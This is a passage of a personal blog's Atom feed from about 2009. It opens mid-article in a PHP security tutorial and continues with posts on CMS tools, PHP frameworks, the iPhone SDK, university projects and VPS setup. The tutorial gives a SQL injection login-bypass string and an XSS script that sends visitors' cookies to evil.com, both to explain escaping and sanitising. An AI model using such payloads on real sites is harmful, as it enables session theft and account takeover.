<p>This vulnerability arises mainly due to the fact that input (data from outside of PHP) gets placed into an SQL string and executed without being filtered and/or validated properly. Data from outside PHP includes content from a database, user input from GET or POST , file contents etc. Consider the very common following example:</p>

<p><code>$result = mysql_query(“SELECT COUNT(*) FROM users WHERE username = ‘{$_POST[‘username’]}’ AND password = ‘’{$_POST[‘password’]}”);</code></p>

<p>What happens if user types the following into the username and password fields? Assuming that magic quotes are off:</p>

<p><code>‘ OR ‘’ = ‘</code></p>

<p>This would make the resulting SQL look like the following:</p>

<p><code>SELECT COUNT(*) FROM users WHERE username = ‘’ OR ‘’=’’ AND password = ‘’ OR ‘’ = ‘’</code></p>

<p>The where clause in this statement would always evaluate to true meaning you can now login as whoever you wish to.</p>

<h4>Magic Quotes</h4>
<p>PHP has this nice/annoying feature called magic quotes. This is an attempt to make PHP scripts more secure by automatically adding backslashes to any quotes on the super global arrays ($_POST, $_GET, etc.). However, this is not very robust as it only works with quotes. There are other special characters in SQL like “—“ (a comment) which can be used to run unwanted SQL statements.</p>

<p>For this reason you should not rely on Magic Quotes. If possible you should at bare minimum run everything through mysql_real_escape_string(). If magic quotes are turned on I will run the contents through stripslashes() first to remove the effect magic quotes has had allowing mysql_real_escape_string() to work on the originally input data.</p>

<h3>XSS (Cross site scripting)</h3>
<p>This vulnerability arises because content from input is being output to the browser without being escaped properly. If you have a simple commenting system in which users can type text and have it display on your blog consider what happens when a user enters the following comment:</p>

<p><code>&lt;script&gt;document.location = ‘http://evil.com/savecookies.php?cookies=’+document.cookie;&lt;/script&gt;</code></p>

<p>If this is not filtered properly, then any user that visits the page with this comment will be automatically redirected to evil.com with their cookies for the site passed in the query string. If you are using cookies to store information such as a users session id (PHP’s default behaviour) the hacker owning <a href="http://evil.com">http://evil.com</a> now has the user’s session id and other cookies and could attempt to steal the account and do other damage.</p>

<h4>It’s not trivial to solve</h4>
<p>The simplest method of fixing Cross site scripting is simply not to allow any HTML, CSS or Javascript as input. For the case above, putting the input contents through strip_tags on submission, or htmlentities() on output will solve the problem. However, code, that doesn’t look like HTML can be injected in other places. Consider if you were outputting a web address a user input into a anchor tag href attribute. The user could input the following as the web address:</p>

<p><code>javascript:alert(1);</code></p>

<p>This would then be output to the browser as:</p>

<p><code>&lt;a href=”javascript:alert(1);”&gt;…&lt;/a&gt;</code></p>

<p>Now if the user clicked the link, they would get a Javascript alert box. However the same code to steal cookies could be used here. Anywhere Javascript can be executed is a risk area and should be carefully thought about before outputting and proper escaping should take place. The following list illustrates just a few of the possible places an attack could occur:</p>

<ul>
<li>In css: <code>width:expression(&#8212;js here&#8212;);</code></li>
<li>In attributes</li>
<li>Anywhere in HTML document</li>
<li>Anywhere inside a HTML element</li>
</ul>

<p>While XSS is specific to HTML. The same principle can be applied to other output formats such as JSON, which is used quite a lot when creating service APIs</p>

<h4>Fixing XSS</h4>
<p>So how can we fix it? Well there are two things you can do to fix the problem. The first is to validate all input and question whether any form of HTML, CSS or Javascript is really required as input. The other solution is to use a HTML sanitiser which will use a white list of safe html to clean any HTML input of attacks. A free PHP library for sanitizing HTML is <a href="http://htmlpurifier.org/">HTML Purifier</a>. This however does have a performance impact, but security should come as a priority over performance.</p>

<h3>Other tips</h3>
<p>A highly recommended book, and essentially a must-read for anyone writing php is <a href="http://phpsecurity.org/">Essential PHP Security</a>. This is a relativly short book and is easy to read and will give you a solid foundation into the common security threats in PHP applications.</p>
<p>The book describes a philosophy of validate input, filter output. To help you achieve this goal and cut down on the laborious task of filtering and validating ever bit of data the <a href="http://framework.zend.com/">Zend Framework</a> has some very nice libraries for helping with this. Zend_Validate is very easy to use and covers most of the validation you would need to do. Zend_Filter provides a set of objects which will help with sanitizing input, making it safe to use within the scripts.</p>

      ]]></content>
    </entry>

    <entry>
      <title>Content Management System issues</title>
      <link rel="alternate" type="text/html" href="http://www.rikkicarroll.com/index.php/site/content_management_system_issues/" />
      <id>tag:rikkicarroll.com,2009:index.php/site/index/1.36</id>
      <published>2009-02-01T10:00:44Z</published>
      <updated>2009-03-14T21:58:46Z</updated>
      <author>
            <name>Rikki Carroll</name>
            <email>rikki1234@gmail.com</email>
            <uri>http://www.rikkicarroll.com</uri>      </author>

      <category term="Code"
        scheme="http://www.rikkicarroll.com/index.php/site/category/code/"
        label="Code" />
      <category term="Design"
        scheme="http://www.rikkicarroll.com/index.php/site/category/design/"
        label="Design" />
      <category term="Apple"
        scheme="http://www.rikkicarroll.com/index.php/site/category/apple/"
        label="Apple" />
      <category term="Software"
        scheme="http://www.rikkicarroll.com/index.php/site/category/software/"
        label="Software" />
      <category term="Work"
        scheme="http://www.rikkicarroll.com/index.php/site/category/work/"
        label="Work" />
      <content type="html"><![CDATA[
        <p>Lately I have been having somewhat of a battle with my own conflicting opinions about the various CMS-es available. By CMS I mean any system which allows you to manage and publish content (not necessarily web based). The sites I work with are usually informational based, providing information of some sort and not a web application type service sites such as <a href="http://twitter.com">Twitter</a>.</p><p><strong>Disclaimer:</strong> the views expressed in this article are the opinions solely of my own and not respective of my employers. These opinions are developed through the use of CMS systems on a daily basis working with sites on all scales, from small, to "enterprise class" very large sites.</p>

<h3>Informational sites</h3>
<p>These are sites that provide information about a product, service or other offering. Examples include brochure sites, portfolios, blogs, university sites and governmental information sites. Below are primary examples of these types of site:</p>
<ul>
	<li><a href="http://www.checkoutapp.com">http://www.checkoutapp.com/</a></li>
	<li><a href="http://www.apple.com/">Apple product pages</a> (not the store)</li>
</ul>
<p>What both the sites above demonstrate is what I call "designed-content" (others have probably called it this before me). The pages are crafted to make the content more visually attractive and easier to navigate. The normal site will typically have one or two columns of text with the odd image or table thrown in. The sites above use techniques from print to provide a very nicely designed page where the information is much more likely to get read. They also do a much better job of saying to the user that we have not just put the information on the page, we have carefully throughout about how to layout the content and have adequate tools to do so. I guess the formal term for this is information design?</p>

<h3>Desktop systems</h3>
<p>One limitation of most of the desktop-based systems that web-based systems do not have is that reusing content in multiple places on a site is not easy and often results in the content being duplicated manually. One example is a blog post listing page. You would have to write the page for the full blog post, and then insert the summary into a listing page. Now Rapidweaver and Brent Simmons system below handle this particular situation just fine, however they don't provide an easy way (without modifying the software) to re-use content elsewhere on the site.</p>

<h4>Dreamweaver and templates</h4>
<p>At my current <a href="http://www.kent.ac.uk/web/">day job</a> we provide a CMS to ourselves and the rest of the organization using Dreamweaver Templates and Snippets. Snippet are used to provide some degree of flexibility with regards to the page elements used. Snippets in use range from simple boxes floated to the side, right through the snippets which contain PHP are pre-processed before being sent the users browser providing the ability to integrate with external data sources.</p>
<p>Particularly good things about this system is that it is very easy to use from a publishers standpoint as the editing environment works like Microsoft Word. However it has many disadvantages that simply cannot be addressed including:</p>
<ul>
	<li>Content and presentation are coupled together.</li>
	<li>Issues with overwrites become apparent when multiple people edit the same site.</li>
	<li>Deployment in an enterprise environment is difficult.</li>
	<li>The site cannot be edited anywhere.</li>
	<li>Dreamweaver sucks on a Mac.</li>
	<li>Very dynamic elements, with two way interactions such as quizzes become very hard. However this should probably be dedicated system?</li>
	<li>While snippets can be provided to allow the content to be designed it is limited to the interaction and possibilities provided by Dreamweaver rendering engine.</li>
</ul>

<h4>Brent Simmmons custom system</h4>
<p>I recently read an <a href="http://inessential.com/2009/01/30/new_publishing_system_tour_of_my_head">article by Brent Simmons</a> in which he describes a new system he has built to satisfy his own requirements. Generally, the way it works is he maintains a folder structure of content which does not include and presentation information except basic formatting of the content. He then runs custom ruby scripts to put the content into templates and combine the content with snippets which gets written to a web server as static html files. He also has a set of ruby scripts which handle XML-RPC calls from software such as <a href="http://www.red-sweater.com/marsedit/">Mars edit</a>. These scripts then add the content to the directory structure and is then published to the site via a command line script later. This allows him to use the rich editing environment that Mars edit provides and also potentially allow others to edit the site. However this system still does not solve the problem of designing the content. Desirable attributes is has include:</p>
<ul>
	<li>Content and presentation are kept separate</li>
	<li>The system is available offline.</li>
	<li>The XML-RPC API allows for multiple people to edit the site.</li>
</ul>

<h4>Rapidweaver (and Stacks plugin)</h4>
<p>Rapidweaver provides a similar setup to Dreamweaver but is actually better due to its simplicity and with the addition of the <a href="http://www.yourhead.com/stacks/">Stacks plugin</a> which provides a very nice way to design content. Rapidweaver does unfortunately come with many of the same problems as Dreamweaver though. It is just worth a mention because it is much more focused on on creating and designing the content for a website than Dreamweaver is (which has become a general purpose web development tool in recent years).</p>

<h3>Web systems</h3>
<p>I have experience with all of the following web-based CMS products:</p>
<ul>
	<li>Wordpress</li>
	<li>Drupal</li>
	<li>Expression engine</li>
	<li>Cubik</li>
	<li>MySource Matrix</li>
</ul>
<p>The core problem with all these systems is two-fold:</p>
<ul>
	<li>They don't allow you to design your content very well beyond basic bold, italic, alignment etc... formatting.</li>
	<li>They largely suffer from the "request/response" cycle of the web.</li>
</ul>
<p>Jason Santa-Maria has recently written an article about <a href="http://jasonsantamaria.com/articles/24ways/">modular-layout systems</a>. Now while this is clearly moving towards providing the necessary tools to design content, it only provides the layout tools. Other tools such as non-traditional content types (video/lightbox etc) are still not addressed. The other issue is that it requires technical skills in order to use (knowledge of html and CSS classes).</p>

<h3>Desktop vs. Web</h3>
<p>A core problem with current web-based CMSes is that while the web has made major advances in becoming a mature platform for rich front ends there is still some way to go. Problems include old, non standard browsers that cause compatibility problems (ahem IE6) and limited support for technologies like ARIA.</p>
<p>On the desktop, the Operating System provides the accessibility features to many applications providing the application is written to use standard OS APIs. Even the richer interactions and environments (such as drag and drop) are automatically provided in an accessible was by the OS. On the web, the onus is entirely on the web application developer and this is a very hard task due to poor support in browsers as previously mentioned.</p>

<h3>Conclusion</h3>
<p>So after conducting this rather limited and short case study it appears that there is no silver bullet (as with most things). I have decided that the best way for me to provide this site, which has one author who wants to "design the contents" of each page is to continue with my current setup and just write HTML when I need to. Using Rapid Weaver with a custom template and snippets would be ok, but I would not be able to update my site when away from my computer and more dynamic elements are harder to achieve (such as most popular posts). The fact that my current system is web based does not help me to keep it up-to-date as its always so much time and effort to upload the images. This effort is mainly because of the request/response cycle that is core to the web and while this is OK for browsing sites its becomes a problem when trying to build one.</p>
<p>At present the site is still running on Expression Engine (Core) and while this is a very good and powerful CMS there are a few things that are causing difficulties:</p> 
<ul>
	<li>It doesn't integrate very well with clients like Mars Edit.</li>
	<li>Managing files sucks as they have to be manually uploaded one by one.</li>
	<li>Using a rich text editor such as TinyMCE does not play well with Expression Engine's method of embedding images into a body of text.</li>
</ul>
<p>Ideally I would like to use a web based system which uses AJAX to reduce the "request/reponse" effect to a minimum and possibly even have an in-depth API with a desktop client. The web-based system would also need to have an editing environment similar to the <a href="http://www.yourhead.com/stacks/">Stacks plugin</a> for <a href="http://www.realmacsoftware.com">Rapidweaver</a> allowing me to easily "design the content". Brent Simmons system comes very close to solving many of the problems with both the Dreamweaver and Web-based solutions of today, but still lacks on the tools to design the content. Maybe one day I will find the time to build such as system and hopefully make lots of money out of it, that is if it doesn't already exist and I just don't know about it.</p>
<p>This article by no means looks at every use-case and situation and I am sure there is far more to explore in order to get a comprehensive review of the CMS landscape. This article was meant to just highlight the general issues with CMS-es and their provisioning for information and was very much written with this site in mind.</p>

      ]]></content>
    </entry>

    <entry>
      <title>Choosing a PHP 5 framework</title>
      <link rel="alternate" type="text/html" href="http://www.rikkicarroll.com/index.php/site/choosing_a_php_5_framework/" />
      <id>tag:rikkicarroll.com,2009:index.php/site/index/1.35</id>
      <published>2009-01-27T20:26:15Z</published>
      <updated>2009-03-05T10:08:17Z</updated>
      <author>
            <name>Rikki Carroll</name>
            <email>rikki1234@gmail.com</email>
            <uri>http://www.rikkicarroll.com</uri>      </author>

      <category term="Code"
        scheme="http://www.rikkicarroll.com/index.php/site/category/code/"
        label="Code" />
      <category term="Tutorials"
        scheme="http://www.rikkicarroll.com/index.php/site/category/tutorials/"
        label="Tutorials" />
      <category term="Education"
        scheme="http://www.rikkicarroll.com/index.php/site/category/education/"
        label="Education" />
      <category term="Work"
        scheme="http://www.rikkicarroll.com/index.php/site/category/work/"
        label="Work" />
      <content type="html"><![CDATA[
        <p>For my final year project at University I am building a social network style application for street and celebratory arts surrounding the run-up to the London 2012 olympics (although not just london 2012). </p>

<h3>Why a framework?</h3>
<p>This project has quite an extensive requirements list, coupled along with a very tight deadline. Being a developer that very much believes you should not "re-invent wheel" unless their is a benefit along with the tight deadline I started to look at PHP 5 frameworks to speed up the development and also bring other advantages. Such advantages include:</p><ul>
	<li>less "buggy" code (as I am not writing it)</li>
	<li>more flexible design (my deadline and the amount of work that needs to be done does not allow for me to sit and work out the best possible approach to every problem)</li>
	<li>easier for future maintenance developers</li>
	<li>more refined result as more time can be spent directly on creating features</li>
</ul>

<h3>How I approached the problem of choosing a framework</h3>
<p>Choosing a framework is no easy task due to the shear amount of them available - especially in PHP. I only had about a week to do research and finalize a choice so an extensive evaluation was simply not possible. I approached this problem by first identifying the major frameworks that seem to be in use and talked about by PHP developers (this is not very scientific or academic so I may have missed some).</p>
<p>The second thing I did was collecting general characteristics of a framework such as size, functionality provided, paradigm and performance of a vanilla install. The final thing I did was to play with each framework for about 1 hour exploring its APIs and writing generally useless little programs.</p>

<h3>Which frameworks?</h3>
<p>After looking through numerous developer blogs, google trends and the case study pages on framework sites I ended up looking at the following frameworks:</p>
<ul>
	<li><a href="http://www.qcodo.com">QCodo</a></li>
	<li><a href="http://www.pradosoft.com">Prado</a></li>
	<li><a href="http://www.symfony-project.org">Symfony framework</a></li>
	<li><a href="http://kohanaphp.com/">Kohana PHP</a></li>
	<li><a href="http://framework.zend.com">Zend Framework</a></li>
</ul>
<p>After spending a day with each of the frameworks I came to the following conclusions.</p>
	
<h3>QCodo</h3>
<p>QCodo is very much inspired by the .NET framework and it brings many of the features along that I am fond of. This was nearly the framework that I went with due to its simplicity and how quickly you can get started with it. However, the single thing that killed its chances was that it simply does not work without Javascript on. All the form submit buttons would simply not work. Now the site i am building has a requirement to be accessible as possible. Some screen readers act as if Javascript is off meaning a user using the site with one of these simply could not complete tasks on the site. However, the framework has not yet reached 1.0 status and hopefully they resolve that issue before then.</p>

<h3>Prado</h3>
<p>Prado is very much like QCodo in that is is inspired by the .NET framework. Its core difference is that it imeplements more of the features from the .NET framework such as the view layer having custom tags for form components (and some other things). Prado didn't have the Javascript issue that Qcodo had so that was another promising sign. The fatal blow for this framework was bad performance compared to other frameworks but was kind of inevitable with all of the features it has.</p>

<h3>Symfony</h3>
<p>Symfony is a framework that has been recently chosen by my employers to be used on future centralized PHP application projects. After seriously looking two things prevented me from using it:</p>
<ul>
	<li>it requires a lot of configuration.</li>
	<li>it is somewhat over-engineered in the sense that it provides a structure that you write an application in and if you need to modify that structure it becomes quite difficult, resulting in even more configuration</li>
</ul>

<h3>Kohana PHP</h3>
<p>While Kohana is not as feature rich the other frameworks, its simplicity does work in its favor. With PRADO and Symfony, because they are so heavyweight they do have a very steep learning curve, Kohana keeps the barrier to entry very low whilst not compromising on important factors such as security and code quality. This framework had simply the best performance of all of them. The KohanaPHP framework is a fork of the Code Igniter framework from EllisLab. The main problem I had with Code Igniter was that it was PHP 4 based and I really wanted to use PHP 5 specific features.</p>

<h3>Zend Framework</h3>
<p>The big attraction of the Zend Framework is that it acts as more of a component library than a framework and doesn't assume things about the structure of your application. You can use it in the MVC-style architecture, but its completely optional, meaning that if you decide to change the architecture later you can do so easily. The libraries are modeled on robust, industry standard design patterns making them very powerful and well thought out. The component library also covers just about anything you would ever want to do with implementations of Lucene (search platform) and libraries for lots of sites with an API such as google data API and slide share.</p>

<h3>The final choice</h3>
<p>In the end it was a very close result with KohanaPHP and Zend Framework being the final two choices. In the end after an extra day playing with them I decided to use the Zend framework. The main reasons why were that the Kohana community is not as big or active as the Zend framework and its roadmap is not as transparent as Zend which caused concern. The other big benefit is that the Zend framework was backed by a commercial company which should help it to survive and it also has lots of 3rd party partners contributing such as Google, Adobe and the JQuery team.</p>
<p>Oh... Zend Framework having a library for just about everything under the sun helped too!</p>


      ]]></content>
    </entry>

    <entry>
      <title>Experimenting with the iPhone SDK</title>
      <link rel="alternate" type="text/html" href="http://www.rikkicarroll.com/index.php/site/experimenting_with_the_iphone_sdk/" />
      <id>tag:rikkicarroll.com,2009:index.php/site/index/1.28</id>
      <published>2009-01-23T22:43:38Z</published>
      <updated>2009-03-05T10:08:39Z</updated>
      <author>
            <name>Rikki Carroll</name>
            <email>rikki1234@gmail.com</email>
            <uri>http://www.rikkicarroll.com</uri>      </author>

      <category term="Code"
        scheme="http://www.rikkicarroll.com/index.php/site/category/code/"
        label="Code" />
      <category term="Design"
        scheme="http://www.rikkicarroll.com/index.php/site/category/design/"
        label="Design" />
      <category term="Apple"
        scheme="http://www.rikkicarroll.com/index.php/site/category/apple/"
        label="Apple" />
      <category term="Software"
        scheme="http://www.rikkicarroll.com/index.php/site/category/software/"
        label="Software" />
      <content type="html"><![CDATA[
        <p>Being a developer, and an iPhone owner, the announcement of the iPhone SDK from apple was very exciting. I was very excited about the prospect of developing software for the iPhone. One thing that I really like about the iPhone is the way it fits into your daily life. Its very simple to use and at the same time very powerful. A large part of why it has both these attributes (easy to use and powerful) is because of its user interface.</p><h3>User Interfaces</h3>
<p>While I am no great designer I have a high standard for User Interfaces. An application can be as powerful as it likes. If it doesn't expose its functionality to me (a human) in an easy to use and learn way I will move on. Sometimes I wonder if I am a bit obsessive with User Interface. Sometimes I will purchase applications (if cost is relatively low and i have a use for them) solely on their UI. If i think about it I probably don't need the application and can do the same task equally well with another application that is free or I already have. I really am a sucker for good UI design.</p>
<h3>The possibilities</h3>
<p>The other thing that excited me about the iPhone platform was that its new. Existing platforms such as the web, or desktop are saturated with applications covering all sorts of tasks. The iPhone only has the ones Apple provides which left lots of scope for potential applications. The other factor that allow even more possibilities is all the different ways the device interacts with the outside world:</p>
<ol>
<li>Touch Screen</li>
<li>Sound (Microphone &amp; Speaker)</li>
<li>Camera</li>
<li>GPS</li>
<li>Internet</li>
<li>Accelerometer</li>
<li>Proximity Sensor</li>
</ol>
<p>Putting just a few of these together could yield in very interesting results. The typical desktop doesn't have all these input/output devices. The more interesting ones are GPS, accelerometer and proximity sensor.</p>
<h3>Poking around the API</h3>
<p>So as soon as the first beta of the SDK was announced I was straight on to Apples Developer website to download it. That turned out to be a very painful process due to the abnormal amount of people trying to do the very same thing on the launch day. For a project which would allow me to start experimenting I decided to make a simple tic-tac-toe (aka. naughts and crosses). After about 5 days of going through the documentation and also hacking around in XCode I had something that compiles and runs on the iPhone SDK. At the time there was no Interface Builder support so all the UI components had to be constructed in code.</p>
<h3>The final product</h3>
<p>I continued adding features to the tick-tac-toe game, experimenting with more of the API such as multi-player support and preferences for difficulty. Screen shots of the application running in the iPhone simulator can be seen below:</p>
<p>
<img src="http://rikkicarroll.com/images/work_images/toctactoe-homescreen.jpg" width="260" height="483" />
<img src="http://rikkicarroll.com/images/work_images/tictactoe-app.jpg" width="260" height="483" />
</p>
<p>After about two weeks I found that I did not have so much time anymore due to working 5 days a week over the summer break. Since then, I have not touched the iPhone SDK and it has been through many revisions and seen it 1.0 release. I hope to get back onto this as soon as University finishes as its something I very much enjoyed and am excited about.</p>
      ]]></content>
    </entry>

    <entry>
      <title>Choosing a final year project</title>
      <link rel="alternate" type="text/html" href="http://www.rikkicarroll.com/index.php/site/choosing_a_final_year_project/" />
      <id>tag:rikkicarroll.com,2009:index.php/site/index/1.27</id>
      <published>2009-01-21T00:29:23Z</published>
      <updated>2009-01-21T00:36:24Z</updated>
      <author>
            <name>Rikki Carroll</name>
            <email>rikki1234@gmail.com</email>
            <uri>http://www.rikkicarroll.com</uri>      </author>

      <category term="Miscellaneous"
        scheme="http://www.rikkicarroll.com/index.php/site/category/miscellaneous/"
        label="Miscellaneous" />
      <category term="Education"
        scheme="http://www.rikkicarroll.com/index.php/site/category/education/"
        label="Education" />
      <category term="Work"
        scheme="http://www.rikkicarroll.com/index.php/site/category/work/"
        label="Work" />
      <content type="html"><![CDATA[
        <p>Entering my final year at University I realized that for my final year I had to research, plan, build, test and evaluate a substantial piece of web-based engineering. At the start of the year I attended the introduction lectures for this module of work and started to get really worried. Everyone seemed to have picked their project over the summer and already knew what they were doing. The course I am studying does not have many people studying it (Web Computing) and it is jointly run by two separate departments we are not always given very much, if any notice with these things at all. Anyway, I was a little frustrated that I was not told sooner. However I could not let this get in the way and set out to finding a project.</p><h3>Initial Ideas</h3>
<p>After sitting down for two days and brainstorming what would I like to do that is feasible with the time limits. It eventually came down to three main ideas:</p>
<ol>
<li>Creative Events Portal</li>
<li>Personal Library</li>
<li>Framework and library browser</li>
</ol>
<h3>Creative Events Portal</h3>
<p>This ideas was to build a social network for street and celebratory arts events. This idea arose because of my job in the IS Web Team at the University of Kent. The Creative Events department there approached the Web Team asking for an online portal to be built around setting up Creative Events.</p>
<p>Resource and budget constraints meant that the Web Team at the University could not take on the project or if they did functionality would be severely limited from the requirements talked about during initial meetings. The idea came to me that I could build what they were asking for as my final year project and then the Web Team could take over maintenance and support once the system was built and my final year project was complete.</p>
<p>This was a really exiting proposition for myself as it has so many of the ingredients to be a great final year project. It had really tough problems to solve such as Internationalisation. It&#8217;s scope allowed for things such as Google Maps integration to be incorporated. The ultimate upside of this idea was that it involved a real client, with real needs and would go into real production. This was not a fictitious project made up for the sake of building a system to get grades, the thing would actually be serving a purpose. This would not only help me to keep motivated but would be also a very good thing to put on my CV once I have finished University.</p>
<h3>Personal Library</h3>
<p>The idea here came from a Mac desktop application called Delicious. Delicious is an application that allows you to catalogue collections of valuable things such as DVDs, Books, Games, Music etc.</p>
<p>I realized that Delicious could be made much nicer by using a web based interface as it would not only be available to a much broader audience (Windows and Linux), but would also allow for featured that the desktop application could not easily do. These features include friends requesting to borrow things, making the library publicly available, searching online retailers and EBay for similar items on sale.</p>
<p>The problem with this idea was that much of the functionality that would be created would just be replicating existing desktop applications out there. Only the web-specific features such as sharing and online retailer integration would be the new stuff which did not have predefined example templates for.</p>
<h3>Framework and library browser</h3>
<p>This idea came from listening to the Javaposse podcast. The ideas was to create an online library of programming frameworks and libraries which can be searched and navigated by users. Users would also be able to add frameworks/libraries and also annotate existing ones with comments, tags and other user-generated metadata.</p>
<p>The problem that it would solve is that for developers new to a programming language or platform it is very difficult to know what libraries and frameworks are available. Many programmers tend to just write their own rather than leverage existing libraries and frameworks. This online library would solve that problem by cataloguing the various libraries and frameworks allowing people to discover them easily. It would also allow people to evaluate them based on other user&#8217;s annotations.</p>
<h3>The final idea</h3>
<p>In the end, after talks with various members of staff around the University, I decided to take the Creative Events Portal as it is the most exciting personally for me due to the real nature of it. Next it was time to sit down with the client and work out what was required. My advice for a final year project is do something you&#8217;re interested in or can be motivated by in some way. Try not to just pick from a list that a University gives you. A final year project requires commitment, dedication and a level of attention to detail that far surpasses normal University modules. To even have a chance of giving the project what it requires you need to be very motivated by it and have some sence of personal relationship with it. If you don&#8217;t then the end result will be risking second grade product status.</p>
      ]]></content>
    </entry>

    <entry>
      <title>New site and VPS adventures</title>
      <link rel="alternate" type="text/html" href="http://www.rikkicarroll.com/index.php/site/new_site_and_vps_adventures/" />
      <id>tag:rikkicarroll.com,2009:index.php/site/index/1.26</id>
      <published>2009-01-20T15:31:26Z</published>
      <updated>2009-03-05T10:10:27Z</updated>
      <author>
            <name>Rikki Carroll</name>
            <email>rikki1234@gmail.com</email>
            <uri>http://www.rikkicarroll.com</uri>      </author>

      <category term="Miscellaneous"
        scheme="http://www.rikkicarroll.com/index.php/site/category/miscellaneous/"
        label="Miscellaneous" />
      <content type="html"><![CDATA[
        <p>I have been working to get this site out for quite a while now. Unfotunatly, spare time is something my daily schedule just doen&#8217;t know and as a result this site has not been around for nearly two years (duration of University so far). The site&#8217;s main aim will be to showcase the work I have done and also share some things i have picked up in my job and studies at University.</p><h3>Virtual Private Hosting (VPS)</h3>
<p>One of the factors that has enabled me to finish off the site is that I am now studying a module at University called Advanced Programming Techniques. This module covers shell scripting, the c language and Java internals. To prep myself I thought it would be a good idea to learn to setup a web server for my site. While I do know the basics of the UNIX shell (ls, cd, mkdir, etc) I have never set one up and sometimes it would really be useful to know this stuff - especially when most of the programming I do is PHP 5 on Solaris servers.</p>
<p>So venturing into the unknown I ordered a VPS account from <a href="http://www.cheapvps.co.uk">CheapVPS</a> (I was initially quite paraniod - the name and website doesn&#8217;t help). With the advice from a friend i commited to purchasing the VPS and I began setting it up. Once the account was setup i recieved an IP address and a temporary root login. Now this was all new to me, i thought where do I start. I remeber seeing lots of helpful articles on a US VPS provider (shame that they dont have any UK data centers) called Slicehost (<a href="http://articles.slicehost.com">http://articles.slicehost.com</a>). Now these articles for somone like me (UNIX sys-admin NOOB) were invaluable. I highly recommend their site and if their articles are anything to go by their VPS accounts will be some of the best money can buy, its just a shame there is a geographical problem for me (SSH Lag!).</p>
<h3>Conclusion<br /></h3>
<p>Following the slicehost articles was extremely easy, and if you&#8217;re like me (extremely security concious - as should any developer be) the security aspects are explined very well. I now have a fully functioning VPS with PHP, Rails, Apache 2 and all the mod-cons and the ability to install whatever I wish. I highly recommend VPS-based hosting, it gives you total control and is not as hard as it may first seem.</p>
      ]]></content>
    </entry>

    <entry>
      <title>Florida. Here I come!</title>
      <link rel="alternate" type="text/html" href="http://www.rikkicarroll.com/index.php/site/florida_here_i_come/" />
      <id>tag:rikkicarroll.com,2008:index.php/site/index/1.23</id>
      <published>2008-02-21T00:28:01Z</published>
      <updated>2009-03-05T10:11:02Z</updated>
      <author>
            <name>Rikki Carroll</name>
            <email>rikki1234@gmail.com</email>
            <uri>http://www.rikkicarroll.com</uri>      </author>

      <category term="Miscellaneous"
        scheme="http://www.rikkicarroll.com/index.php/site/category/miscellaneous/"
        label="Miscellaneous" />
      <content type="html"><![CDATA[
        <p>Finally I have saved up enough and got round to booking a holiday with my girlfriend and family. I have been thinking about a holiday for a while now as its been around 2 years since I last went on holiday and I have done an awful lot of work since then.</p>
<p>The only bad thing is that I have to wait until September 5th which is a <em>long</em> time to wait. I can&lsquo;t wait for September 5th now, although thinking about it when the holiday is over I enter my third year (scary)! Well thats depending on weather I pass all my exams in May and June - we shall have to see.</p><h3>Destination</h3>
<p>We choose to go to florida. I have been two times before and I liked it a lot; its one of my favorite places. I have also kinda been wanting to take my girlfriend there to show her what a wonderful place it is.</p>

<h3>Looking forward too...</h3>
<p>I am particularly looking forward to the sunny weather and two weeks where I can just spend time with my girlfriend and family.</p> 
<p>I really really hope their is another revision of the MacBook Air out by the time I go as i would really like one. However at the moment its just missing a few key things for me:</p>
<ul>
<li>SSD Drive as standard on both models (64gb and a 128gb option).</li>
<li>Another USB port and/or a firewire port.</li>
<li>user replaceable battery.</li>
<li>Ethernet adapter as standard.</li>
<li>Slight price drop as its a little on the expensive side when you compare it to MacBook</li>
</ul>
      ]]></content>
    </entry>

    <entry>
      <title>End of first term at University</title>
      <link rel="alternate" type="text/html" href="http://www.rikkicarroll.com/index.php/site/end_of_first_term_at_university/" />
      <id>tag:rikkicarroll.com,2006:index.php/site/index/1.2</id>
      <published>2006-12-15T13:31:01Z</published>
      <updated>2008-02-20T01:03:54Z</updated>
      <author>
            <name>Rikki Carroll</name>
            <email>rikki1234@gmail.com</email>
            <uri>http://www.rikkicarroll.com</uri>      </author>

      <category term="Education"
        scheme="http://www.rikkicarroll.com/index.php/site/category/education/"
        label="Education" />
      <content type="html"><![CDATA[
        <p>So end of the term is here and i've completed 5 of my modules for the first stage in my degree programme. These modules being:</p>
<ul>
<li>Introduction to Internet Technology</li>
<li>Introduction to Object Oriented Programming</li>
<li>Managers and Organisations</li>
<li>Information Systems</li>
<li>Mathematics for Multimedia (part 1)</li>
</ul><h3>What do i like so far...</h3>
<p>Without a doubt the most interesting thing has to be OOP (Object Oriented Programming). While i could and do use OOP principles when programming i've never taken advantage of full OOP principles. In the intro to OOP module here they teach us Java. Java is a language i used to associate with applets and think "urghhh" its a bit slow. However that was somewhat naive of me. While using Java	to complete my assignments I have quickly grown to like the language. This is mainly because of how extensively it supports OOP principles. Now i just wish that PHP and Actionscript both had as much support for OOP as Java. Come on PHP 6 and Actionscript 3, please fulfill my OO needs.</p>
<h3>Disappointments.</h3>
<p>I was particularly disappointed with the Introduction to Internet technology module. It was all stuff i had learnt in college and i don't feel i have gained anything from that module. There is one exception though... I have learnt that the electronics department will grade you well, but then give you feedback based on opinion that basically needs to be ignored on sight. I got told the colours i used: blue, black and white, they didn't go well together which caused my site to be "not very inspirational". Kind of an insult after many hours in photoshop compositing different layouts and colours and trawling the web for the best color and typographic composition. Go take a look at the department website who marked my work: <a href="http://www.ee.kent.ac.uk">http://www.ee.kent.ac.uk</a>. Notice anything about the color composition?</p>

<h3>So what have i learnt...</h3>
<p>Before i came to the university I could programme using OOP principles but i sometimes found barriers and didn't know how to overcome them. And if i did my code would not be as nice as it should be. In the Maths for Multimedia module towards the end they taught us vectors and matrices. I have not encountered them in my education so far but upon learning about them, they have equipped me some vital knowledge that i can harness in the future when building software.</p>

<h3>Other Thoughts.</h3>
<p>After christmas I start another 4 modules with will make up my total of 9 modules for the year. These are:</p>
<ul>
	<li>Furthur to Object Oriented Programming (cant wait!)</li>
	<li>Computer Systems</li>
	<li>Interaction Design</li>
	<li>Mathematics for Multimedia (part 2)</li>
</ul>

<p>I'm particularly looking forward to the further OOP module. The intro to OOP course was not challenging enough but due to the lecturers strong knowledge in this area of teaching I still learnt some really useful things about programming. The other module i am looking forward to is the Math one. they will be teaching us statistics, probability and geometry. These three things may just give me the math knowledge to build something i've got going on in my head. If it gets built ill be sure to post about it.</p>
      ]]></content>
    </entry>

    <entry>
      <title>New job at University of Kent</title>
      <link rel="alternate" type="text/html" href="http://www.rikkicarroll.com/index.php/site/new_job_at_university_of_kent/" />
      <id>tag:rikkicarroll.com,2006:index.php/site/index/1.3</id>
